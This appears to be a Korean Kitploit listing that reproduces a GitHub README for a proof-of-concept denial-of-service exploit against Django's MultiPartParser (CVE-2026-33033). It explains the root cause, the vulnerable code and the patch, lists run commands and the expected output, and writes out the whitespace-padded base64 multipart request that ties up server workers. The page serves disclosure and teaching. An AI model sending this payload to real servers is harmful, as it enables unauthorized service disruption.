Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33033-PoC — # CVE-2026-33033 개념 증명 익스플로잇 Django의 MultiPartParser에서 base64 공백 문자 CPU 증폭을 통한 서비스 거부(DoS) 취약점으로, 단일 HTTP 요청으로 약 800배의 증폭을 입증합니다. | Kitploit
도구/GitHubGitHub/ch4n3-yoon/cve-2026-33033-poc
Vulnerability AnalysisExploitationWeb SecurityPenetration Testing
GitHubch4n3-yoon/cve-2026-33033-poc

CVE-2026-33033-PoC

# CVE-2026-33033 개념 증명 익스플로잇 Django의 MultiPartParser에서 base64 공백 문자 CPU 증폭을 통한 서비스 거부(DoS) 취약점으로, 단일 HTTP 요청으로 약 800배의 증폭을 입증합니다.

저장소 보기
2115개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33033 PoC

Django MultiPartParser의 base64 공백 CPU 증폭을 통한 서비스 거부(DoS)

단일 2.5MB HTTP 요청으로 Django 워커를 약 5초 동안 점유하여, 동일 크기의 일반 요청 대비 약 2,100배의 CPU 증폭을 달성할 수 있습니다. 인증은 필요하지 않습니다.

영향을 받는 버전

이 취약점은 Django 6.0.4 보안 릴리스(2026년 4월 7일)에서 수정되었으며, 지원되는 모든 브랜치에 백포트되었습니다.

브랜치영향받는 버전수정 버전
Django 6.0.x<= 6.0.36.0.4
Django 5.2.x<= 5.2.115.2.12
Django 5.1.x<= 5.1.x5.1.16
Django 5.0.x<= 5.0.145.0.15
Django 4.2.x<= 4.2.284.2.29

공식 설명

CVE-2026-33033: MultiPartParser의 base64 인코딩 파일 업로드를 통한 잠재적 서비스 거부 취약점 (심각도: 보통)

django.http.multipartparser.MultiPartParser를 사용할 때, 과도한 공백을 포함한 Content-Transfer-Encoding: base64 멀티파트 업로드는 반복적인 메모리 복사를 유발하여 성능 저하를 초래할 수 있습니다.

— Django 6.0.4 릴리스 노트

Django 6.0.4에서 수정된 기타 보안 이슈

CVE심각도설명
CVE-2026-3902낮음밑줄/하이픈 혼동을 통한 ASGI 헤더 스푸핑
CVE-2026-4277낮음GenericInlineModelAdmin의 권한 남용
CVE-2026-4292낮음ModelAdmin.list_editable의 권한 남용
CVE-2026-33034낮음Content-Length 누락으로 인한 ASGI 메모리 업로드 제한 우회

취약점 요약

Django의 MultiPartParser에는 Content-Transfer-Encoding: base64 파일 파트를 처리하는 특수 코드 경로가 있습니다. 각 청크에서 공백을 제거한 후 결과가 4바이트의 배수로 정렬되지 않으면, while 루프가 field_stream.read(1)을 호출하여 추가 바이트를 한 번에 하나씩 가져옵니다.

파일 본문이 거의 전부 공백인 경우, 가져온 각 바이트는 제거되어 아무것도 남지 않으므로 루프는 계속됩니다 — 공백 바이트마다 read(1)을 한 번씩 호출합니다. 핵심 통찰은 각 read(1)이 보이는 것보다 훨씬 비용이 많이 든다는 것입니다:

세 가지 증폭 계층

root@kitploit:~
계층 1:  base64 정렬 루프가 공백 바이트마다 read(1) 호출
              |
계층 2:  LazyStream.read(1)이 전체 잔여분(~64KB)을 가져와 1바이트를 슬라이스하고,
          ~64KB - 1을 unget  -->  호출당 O(C) 바이트 복사
              |
계층 3:  unget()이  self._leftover = bytes + self._leftover  수행
          매번 새 bytes 객체 생성  -->  ~C 바이트의 memcpy

64KB 청크마다 복사 작업은 등차수열을 형성합니다:

root@kitploit:~
Total = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 21.5억 바이트 연산

2.5MB 입력(~40개 청크)의 경우: 단일 HTTP 요청으로 약 860억 바이트의 memcpy 작업이 발생합니다.

기존 보호 우회

Django에는 동일한 바이트 수가 50회 작업 내에서 40회 이상 unget되면 SuspiciousMultipartForm을 발생시키는 _update_unget_history()가 포함되어 있습니다. 그러나 이 공격에서는 unget 크기가 단조 감소(65535, 65534, 65533, ...)하므로 모든 크기가 고유하며 검사가 절대 트리거되지 않습니다.

뷰 실행 전 트리거

CSRF 미들웨어는 뷰가 실행되기 전에 request.POST에 접근하므로, 403을 반환하는 엔드포인트도 전체 파싱 비용을 부담합니다.

저장소 구조

root@kitploit:~
CVE-2026-33033-PoC/
├── README.md           # 이 파일
├── LICENSE
├── requirements.txt    # Python 의존성
├── exploit.py          # 익스플로잇 스크립트
└── victim/             # 취약한 Django 서버
    ├── manage.py
    ├── uwsgi.ini       # uWSGI 배포 설정
    └── victim/
        ├── __init__.py
        ├── settings.py  # Django 기본값 (특별한 설정 불필요)
        ├── urls.py      # /upload 및 /health 엔드포인트
        └── wsgi.py

재현 단계

1. 클론 및 설정

root@kitploit:~
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

2. 피해자 서버 시작

옵션 A: Django 개발 서버 (가장 빠름)

root@kitploit:~
cd victim
python manage.py runserver 0.0.0.0:8000

옵션 B: uWSGI (더 현실적 — 4개 워커 사용)

root@kitploit:~
cd victim
uwsgi --ini uwsgi.ini

3. 익스플로잇 실행

별도의 터미널에서:

root@kitploit:~
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload

옵션:

플래그기본값설명
--targethttp://127.0.0.1:8000/upload대상 업로드 엔드포인트
--size2621440 (2.5 MB)페이로드 크기(바이트)
--rounds3공격 라운드 수

4. 예상 출력

root@kitploit:~
============================================================
CVE-2026-33033 PoC
Denial-of-service via base64 whitespace CPU amplification
in Django MultiPartParser
============================================================

Target:       http://127.0.0.1:8000/upload
Payload size: 2,621,440 bytes (2.5 MB)
Rounds:       3

[*] Checking server health...
[+] Server is up.

------------------------------------------------------------
[*] Phase 1: Sending BENIGN request (normal base64 data)
------------------------------------------------------------
    Status: 200
    Time:   5.55 ms

------------------------------------------------------------
[*] Phase 2: Sending MALICIOUS requests (base64 + whitespace)
------------------------------------------------------------

  Round 1/3:
    Status: 200
    Time:   4571.12 ms
  ...

============================================================
RESULTS
============================================================
  Benign request:          5.55 ms
  Attack average:       4571.12 ms  (over 3 rounds)
  Amplification:            823x

[!] VULNERABLE: Average attack time exceeds 1 second.
    A single 2.5 MB request ties up a worker for ~4.6s.
    With 4 workers, just 4 concurrent requests can DoS the server.

익스플로잇 작동 방식

익스플로잇은 단일 파일 파트가 포함된 multipart/form-data POST 본문을 구성합니다:

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552

------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

AAA<2,621,433 spaces>A
------CVE2026-33033--
  1. 앞의 AAA는 stripped_chunk = b"AAA"(3바이트)를 만들므로 remaining = 3 % 4 = 3이 됩니다.
  2. while 루프는 정렬을 위해 1바이트를 더 가져오도록 field_stream.read(1)을 호출합니다.
  3. 각 공백 바이트는 제거되어 아무것도 남지 않으므로(b"".join(b" ".split()) == b""), remaining = 3이 유지됩니다.
  4. 루프는 스트림의 모든 공백 바이트에 대해 계속됩니다.
  5. 각 LazyStream.read(1)은 unget 메커니즘을 통해 내부적으로 약 64KB를 복사합니다.

취약한 코드

django/http/multipartparser.py, 302-325행 (Django 5.0.x):

root@kitploit:~
for chunk in field_stream:
    if transfer_encoding == "base64":
        stripped_chunk = b"".join(chunk.split())

        remaining = len(stripped_chunk) % 4
        while remaining != 0:
            over_chunk = field_stream.read(4 - remaining)   # <-- read(1)
            if not over_chunk:
                break
            stripped_chunk += b"".join(over_chunk.split())   # strips to empty
            remaining = len(stripped_chunk) % 4               # stays at 3

패치

수정 사항(Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29에 적용)은 바이트 단위 read(1) 루프를 대량 read(self._chunk_size)로 대체합니다:

root@kitploit:~
-                                stripped_chunk = b"".join(chunk.split())
+                                stripped_parts = [b"".join(chunk.split())]
+                                stripped_length = len(stripped_parts[0])

-                                remaining = len(stripped_chunk) % 4
-                                while remaining != 0:
-                                    over_chunk = field_stream.read(4 - remaining)
+                                while stripped_length % 4 != 0:
+                                    over_chunk = field_stream.read(self._chunk_size)
                                     if not over_chunk:
                                         break
-                                    stripped_chunk += b"".join(over_chunk.split())
-                                    remaining = len(stripped_chunk) % 4
+                                    over_stripped = b"".join(over_chunk.split())
+                                    stripped_parts.append(over_stripped)
+                                    stripped_length += len(over_stripped)
+
+                                stripped_chunk = b"".join(stripped_parts)

주요 변경 사항:

  1. read(4 - remaining) → read(self._chunk_size) — 1-3바이트 대신 한 번에 64KB를 읽어 read 호출을 약 250만 회에서 약 40회로 줄입니다.
  2. stripped_chunk += ... → stripped_parts.append(...) + 최종 b"".join() — 잠재적 2차 바이트 연결을 방지합니다.
  3. len(stripped_chunk) % 4 → stripped_length 카운터 — 중복 길이 재계산을 방지합니다.

면책 조항

이 개념 증명은 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 책임감 있게 사용하고, 소유한 시스템 또는 명시적 테스트 허가를 받은 시스템에만 사용하십시오.

라이선스

Apache License 2.0 — LICENSE 참조.

도구 다운로드